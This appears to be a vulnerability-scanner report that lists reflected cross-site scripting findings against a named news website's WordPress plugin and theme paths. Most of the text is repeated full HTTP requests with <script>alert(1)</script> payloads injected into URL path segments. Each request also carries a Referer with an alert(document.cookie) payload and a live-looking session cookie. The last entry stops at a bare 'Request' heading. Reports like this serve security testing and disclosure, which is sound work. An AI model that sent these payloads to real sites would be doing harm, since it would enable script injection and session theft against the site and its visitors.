GET /wp-content/plugins9e4ed"><script>alert(1)</script>c4029a74899/world-cup-predictor/js/wcp.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57f83"><script>alert(1)</script>8a5da68fe58 was submitted in the REST URL parameter 3. This input was echoed as 57f83\"><script>alert(1)</script>8a5da68fe58 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/world-cup-predictor57f83"><script>alert(1)</script>8a5da68fe58/js/wcp.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c721b"><script>alert(1)</script>a6f1a1b3a49 was submitted in the REST URL parameter 4. This input was echoed as c721b\"><script>alert(1)</script>a6f1a1b3a49 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/world-cup-predictor/jsc721b"><script>alert(1)</script>a6f1a1b3a49/wcp.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d0d4"><script>alert(1)</script>b5fc31a812c was submitted in the REST URL parameter 5. This input was echoed as 1d0d4\"><script>alert(1)</script>b5fc31a812c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/world-cup-predictor/js/wcp.js1d0d4"><script>alert(1)</script>b5fc31a812c?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67c5d"><script>alert(1)</script>5b6741c2669 was submitted in the REST URL parameter 1. This input was echoed as 67c5d\"><script>alert(1)</script>5b6741c2669 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content67c5d"><script>alert(1)</script>5b6741c2669/plugins/wp-email/email-css.css?ver=2.50 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a251b"><script>alert(1)</script>b73b13473f6 was submitted in the REST URL parameter 2. This input was echoed as a251b\"><script>alert(1)</script>b73b13473f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginsa251b"><script>alert(1)</script>b73b13473f6/wp-email/email-css.css?ver=2.50 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b248"><script>alert(1)</script>d0dbf28864a was submitted in the REST URL parameter 3. This input was echoed as 6b248\"><script>alert(1)</script>d0dbf28864a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/wp-email6b248"><script>alert(1)</script>d0dbf28864a/email-css.css?ver=2.50 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7cfb3"><script>alert(1)</script>9effc6a49f was submitted in the REST URL parameter 4. This input was echoed as 7cfb3\"><script>alert(1)</script>9effc6a49f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/wp-email/email-css.css7cfb3"><script>alert(1)</script>9effc6a49f?ver=2.50 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61ca3"><script>alert(1)</script>a1e0e6d05fc was submitted in the REST URL parameter 1. This input was echoed as 61ca3\"><script>alert(1)</script>a1e0e6d05fc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content61ca3"><script>alert(1)</script>a1e0e6d05fc/plugins/wp-email/email-js.js?ver=2.50 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58873"><script>alert(1)</script>5657a8bf0e8 was submitted in the REST URL parameter 2. This input was echoed as 58873\"><script>alert(1)</script>5657a8bf0e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins58873"><script>alert(1)</script>5657a8bf0e8/wp-email/email-js.js?ver=2.50 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62b9e"><script>alert(1)</script>064da61cc06 was submitted in the REST URL parameter 3. This input was echoed as 62b9e\"><script>alert(1)</script>064da61cc06 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/wp-email62b9e"><script>alert(1)</script>064da61cc06/email-js.js?ver=2.50 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eee58"><script>alert(1)</script>1fe76ddfa4b was submitted in the REST URL parameter 4. This input was echoed as eee58\"><script>alert(1)</script>1fe76ddfa4b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/wp-email/email-js.jseee58"><script>alert(1)</script>1fe76ddfa4b?ver=2.50 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a04e"><script>alert(1)</script>672ab228cd3 was submitted in the REST URL parameter 1. This input was echoed as 2a04e\"><script>alert(1)</script>672ab228cd3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content2a04e"><script>alert(1)</script>672ab228cd3/themes/options/library/js/options.js?ver=1.3 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93d93"><script>alert(1)</script>10a8b64d52e was submitted in the REST URL parameter 2. This input was echoed as 93d93\"><script>alert(1)</script>10a8b64d52e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes93d93"><script>alert(1)</script>10a8b64d52e/options/library/js/options.js?ver=1.3 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c154"><script>alert(1)</script>1d3042fa2f7 was submitted in the REST URL parameter 3. This input was echoed as 4c154\"><script>alert(1)</script>1d3042fa2f7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/options4c154"><script>alert(1)</script>1d3042fa2f7/library/js/options.js?ver=1.3 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77e75"><script>alert(1)</script>c8147f385f2 was submitted in the REST URL parameter 4. This input was echoed as 77e75\"><script>alert(1)</script>c8147f385f2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/options/library77e75"><script>alert(1)</script>c8147f385f2/js/options.js?ver=1.3 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9e93"><script>alert(1)</script>61762929006 was submitted in the REST URL parameter 5. This input was echoed as b9e93\"><script>alert(1)</script>61762929006 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/options/library/jsb9e93"><script>alert(1)</script>61762929006/options.js?ver=1.3 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41a74"><script>alert(1)</script>a7ec7cfe43f was submitted in the REST URL parameter 6. This input was echoed as 41a74\"><script>alert(1)</script>a7ec7cfe43f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/options/library/js/options.js41a74"><script>alert(1)</script>a7ec7cfe43f?ver=1.3 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bb02"><script>alert(1)</script>971f88f74ac was submitted in the REST URL parameter 1. This input was echoed as 8bb02\"><script>alert(1)</script>971f88f74ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content8bb02"><script>alert(1)</script>971f88f74ac/themes/shadow/facebox/facebox.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64b69"><script>alert(1)</script>0aef2fe1fea was submitted in the REST URL parameter 2. This input was echoed as 64b69\"><script>alert(1)</script>0aef2fe1fea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes64b69"><script>alert(1)</script>0aef2fe1fea/shadow/facebox/facebox.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb56c"><script>alert(1)</script>cf98169985f was submitted in the REST URL parameter 3. This input was echoed as cb56c\"><script>alert(1)</script>cf98169985f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadowcb56c"><script>alert(1)</script>cf98169985f/facebox/facebox.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 465cc"><script>alert(1)</script>8b6764eb766 was submitted in the REST URL parameter 4. This input was echoed as 465cc\"><script>alert(1)</script>8b6764eb766 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow/facebox465cc"><script>alert(1)</script>8b6764eb766/facebox.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87596"><script>alert(1)</script>4c535a121ba was submitted in the REST URL parameter 5. This input was echoed as 87596\"><script>alert(1)</script>4c535a121ba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/shadow/facebox/facebox.css87596"><script>alert(1)</script>4c535a121ba HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f38a4"><script>alert(1)</script>d37d4df7c69 was submitted in the REST URL parameter 1. This input was echoed as f38a4\"><script>alert(1)</script>d37d4df7c69 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentf38a4"><script>alert(1)</script>d37d4df7c69/themes/shadow/facebox/facebox.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a138e"><script>alert(1)</script>60422d391c9 was submitted in the REST URL parameter 2. This input was echoed as a138e\"><script>alert(1)</script>60422d391c9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themesa138e"><script>alert(1)</script>60422d391c9/shadow/facebox/facebox.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7308c"><script>alert(1)</script>3ee816aebbb was submitted in the REST URL parameter 3. This input was echoed as 7308c\"><script>alert(1)</script>3ee816aebbb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
